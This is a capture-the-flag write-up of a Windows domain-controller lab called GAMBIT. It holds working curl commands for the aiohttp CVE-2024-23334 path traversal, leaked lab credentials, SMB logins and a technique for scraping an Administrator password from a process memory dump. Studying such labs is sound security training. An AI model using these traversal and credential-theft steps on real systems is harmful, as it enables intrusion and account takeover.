Шахматы (Chess) — GAMBIT
Шахматы (Chess) — GAMBIT
Platform: hackerlab | Category: Infrastructure | Type: Challenge | Difficulty: Medium | OS: Windows | Author: XESXOR | Date: 2026-06-11 | Status: Solved Techniques: aiohttp_follow_symlinks_traversal, base64_decode, hardcoded_credential_leak, procdump_memory_string_extraction, smb_enumeration_domain_creds, source_code_disclosure, vertical_privilege_escalation, vhost_discovery_host_header
Summary
Task: Windows AD DC (codeby.cdb / GAMBIT) exposing an aiohttp 3.8.0 web app on a non-default vhost. Solution: exploit CVE-2024-23334 path traversal (follow_symlinks) via curl --path-as-is to read source and leak FTP creds, pivot to SMB as a domain user for the user flag, then extract the Administrator password from a procdump memory dump (base64 $enc_pass) to read the root flag.
Шахматы (Chess) — GAMBIT (hackerlab)
Description
Шахматы. В цейтнот попадает не тот, кто много думает, а тот, кто думает не о том.
English: "Chess. Time trouble (цейтнот) befalls not the one who thinks a lot, but the one who thinks about the wrong thing."
This is deliberate misdirection. "Цейтнот" (time trouble) lures solvers toward Kerberos / time-based attacks (AS-REP roast, Kerberoast, user enumeration) against the domain controller. The real foothold is a web CVE — "think about the right thing."
Target: 192.169.2.16, Windows Domain Controller, domain codeby.cdb, host GAMBIT. Flag format CODEBY{...}. The flag is split across the user flag and the root flag.
Analysis
Recon
Full TCP scan shows a classic AD surface plus one odd port:
53, 88, 135, 139, 389, 445, 464, 593, 636, 3268, 3269, 9389— Active Directory / DC services5985— WinRM31337— a web service21and80— connection refused
The web service on 31337 is a virtual host: it only answers when the HTTP Host header is gambit. With a default host the connection hangs/times out.
bash read-only • copy allowedcurl -s -H "Host: gambit" http://192.169.2.16:31337/ # -> "Welcome to Gambit server!" # Response headers include: # Server: Python/3.10 aiohttp/3.8.0 # Channel: @wh_lab
aiohttp/3.8.0 is the key signal: it is vulnerable to CVE-2024-23334 — directory traversal in static routes configured with follow_symlinks=True (fixed in 3.9.2).
Solution
Step 1 — CVE-2024-23334 path traversal (arbitrary file read)
aiohttp serves a static route. If that route is registered with follow_symlinks=True, the path normalization that should confine requests to the static directory is bypassed, allowing ../ traversal.
Exploitation details that mattered:
- Use
curl --path-as-isso curl does NOT normalize../client-side. - URL-encoded traversal (
%2f,%2e%2e) is filtered → 403. Raw../works. - The form is
GET /static/<../...>/<file>— do not prepend an extra../before the/static/segment (that caused connection resets /000). - The app sits ~5 directory levels below the drive root.
Confirm the vulnerability by reading the app's own source:
bash read-only • copy allowedcurl -s --path-as-is -H "Host: gambit" \ "http://192.169.2.16:31337/static/../main.py"
Recovered main.py shows the vulnerable config:
python read-only • copy allowedapp.router.add_routes([ web.static("/static/", "static/", follow_symlinks=True), ])
Validate multi-level traversal:
bash read-only • copy allowedcurl -s --path-as-is -H "Host: gambit" \ "http://192.169.2.16:31337/static/../../../../../../Windows/win.ini" # 200 OK
Directory layout discovered: <parent>/<appdir>/static/ and a sibling <parent>/backup/ftp-adm.py.
Step 2 — Credential leak from ftp-adm.py
Read the FTP admin script via traversal:
bash read-only • copy allowedcurl -s --path-as-is -H "Host: gambit" \ "http://192.169.2.16:31337/static/../../backup/ftp-adm.py"
It is a pyftpdlib FTP server (port 11000) with a hardcoded user:
python read-only • copy allowedauthorizer.add_user('egor.prudnikov', 'G@mbit_ps', '.', perm='elr')
Credentials: egor.prudnikov : G@mbit_ps. These are also valid as a domain user on codeby.cdb over SMB.
Step 3 — SMB foothold + user flag
bash read-only • copy allowedsmbclient -L //192.169.2.16/ -U 'codeby.cdb\egor.prudnikov%G@mbit_ps' -m SMB3 # Shares: backup, Users, C$ (C$/backup denied as egor)
In \\Users\egor.prudnikov\Desktop:
user.txt(15 bytes) =CODEBY{a1o_CVE?basic-auth.dmp(~238 MB) and two more dated dumps — procdump64 memory dumps of abasic-auth.exeprocessprocdump64.exeScripts\basic-auth.ps1
WinRM as egor FAILS (egor is not in Remote Management Users → HTTP 500 AccessDenied), so privilege escalation must come from the dump rather than a shell.
basic-auth.ps1 (author tag "Exited3n", t.me/pt_soft) builds an HTTP Basic Auth header for user Administrator, has $enc_pass = '[REDACTED]' on disk, and ends with Read-Host -Prompt "Welcome back!" — keeping the process alive so its variables remain in memory. The .dmp files are memory dumps of that running process.
Step 4 — Recover the Administrator password from the memory dump
Download the dump over SMB (slow ~276 KB/s, flaky NT_STATUS_IO_TIMEOUT → use a retry loop; the secret is recoverable even from a partial download, ~226/238 MB).
The on-disk script redacts the password, but the in-memory copy holds the real value:
bash read-only • copy allowedstrings -n 10 basic-auth.dmp | grep '\$enc_pass' # $enc_pass = 'R0BtYml0X29uZQ'
Decode (base64):
bash read-only • copy allowedecho 'R0BtYml0X29uZQ==' | base64 -d # G@mbit_one
Administrator password = G@mbit_one.
Step 5 — Root flag as Administrator
bash read-only • copy allowedsmbclient //192.169.2.16/C$ -U 'codeby.cdb\Administrator%G@mbit_one' -m SMB3 # get \Users\Administrator\Desktop\ro0t-flag.txt
ro0t-flag.txt (6 bytes) = _Tru3}. The Administrator Desktop also contained the deployed app (aio\main.py + static\) and backup\ftp-adm.py, confirming the full chain.
Flag assembly
The flag is split between the two flags:
user.txt = CODEBY{a1o_CVE?
root.txt = _Tru3}
combined = CODEBY{REDACTED}
A play on "aiohttp CVE? True".
Lessons / Pitfalls
- The "цейтнот" (chess time-trouble) hint is misdirection toward Kerberos AS-REP roasting / user enumeration on the DC. Significant time was wasted there. The real entry was the aiohttp web CVE — "think about the right thing."
- The web service needs a non-default
Host: gambitheader. With a default host it appears dead (hang/timeout) — easy to miss during recon. - Use
curl --path-as-isfor aiohttp traversal. URL-encoding the traversal is filtered (403); raw../works. Don't add a leading../before/static/. - procdump memory dumps of PowerShell/long-lived processes retain plaintext script variables, including secrets that are "redacted" on disk. Grep the in-memory copy of the script (
$enc_pass).